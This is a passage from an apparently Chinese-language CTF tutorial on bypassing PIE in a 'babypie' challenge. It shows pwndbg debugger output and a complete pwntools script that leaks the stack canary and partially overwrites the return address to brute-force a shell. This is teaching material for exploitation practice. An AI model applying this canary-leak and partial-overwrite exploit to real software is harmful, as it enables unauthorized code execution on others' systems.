 RBP  0x7fff9aa3af50 —▸ 0x7fff9aa3af70 —▸ 0x55dc43694a80 ◂— push   r15
 RSP  0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
 RIP  0x55dc43694a1e ◂— call   0x55dc436947f0
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
   0x55dc43694a08    call   0x55dc436947e0

   0x55dc43694a0d    lea    rax, [rbp - 0x30]
   0x55dc43694a11    mov    edx, 0x60
   0x55dc43694a16    mov    rsi, rax
   0x55dc43694a19    mov    edi, 0
  0x55dc43694a1e    call   0x55dc436947f0

   0x55dc43694a23    mov    eax, 0
   0x55dc43694a28    mov    rcx, qword ptr [rbp - 8]
   0x55dc43694a2c    xor    rcx, qword ptr fs:[0x28]
   0x55dc43694a35    je     0x55dc43694a3c

   0x55dc43694a37    call   0x55dc436947c0
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ rax rsi rsp  0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
... 
05:0028│              0x7fff9aa3af48 ◂— 0xbfe0cfbabccd2861
06:0030│ rbp          0x7fff9aa3af50 —▸ 0x7fff9aa3af70 —▸ 0x55dc43694a80 ◂— push   r15
07:0038│              0x7fff9aa3af58 —▸ 0x55dc43694a6a ◂— mov    eax, 0
pwndbg> x/10i (0x0A3E+0x55dc43694000) 
   0x55dc43694a3e:  push   rbp
   0x55dc43694a3f:  mov    rbp,rsp
   0x55dc43694a42:  lea    rdi,[rip+0xd7]        # 0x55dc43694b20
   0x55dc43694a49:  call   0x55dc436947d0
   0x55dc43694a4e:  nop
   0x55dc43694a4f:  pop    rbp
   0x55dc43694a50:  ret    
   0x55dc43694a51:  push   rbp
   0x55dc43694a52:  mov    rbp,rsp
   0x55dc43694a55:  sub    rsp,0x10
可以发现, 此时的返回地址与 get shell 函数的地址只有低位的 16 bit 不同, 如果覆写低 16 bit 为 0x?A3E, 就有一定的几率 get shell

最终的脚本如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
#  context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

while True:
    try:
        io = process("./babypie", timeout = 1)

        #  gdb.attach(io)
        io.sendafter(":\n", 'a' * (0x30 - 0x8 + 1))
        io.recvuntil('a' * (0x30 - 0x8 + 1))
        canary = '\0' + io.recvn(7)
        success(canary.encode('hex'))

        #  gdb.attach(io)
        io.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A')

        io.interactive()
    except Exception as e:
        io.close()
        print e
需要注意的是, 这种技巧不止在栈上有效, 在堆上也是一种有效的绕过地址随机化的手段

题目

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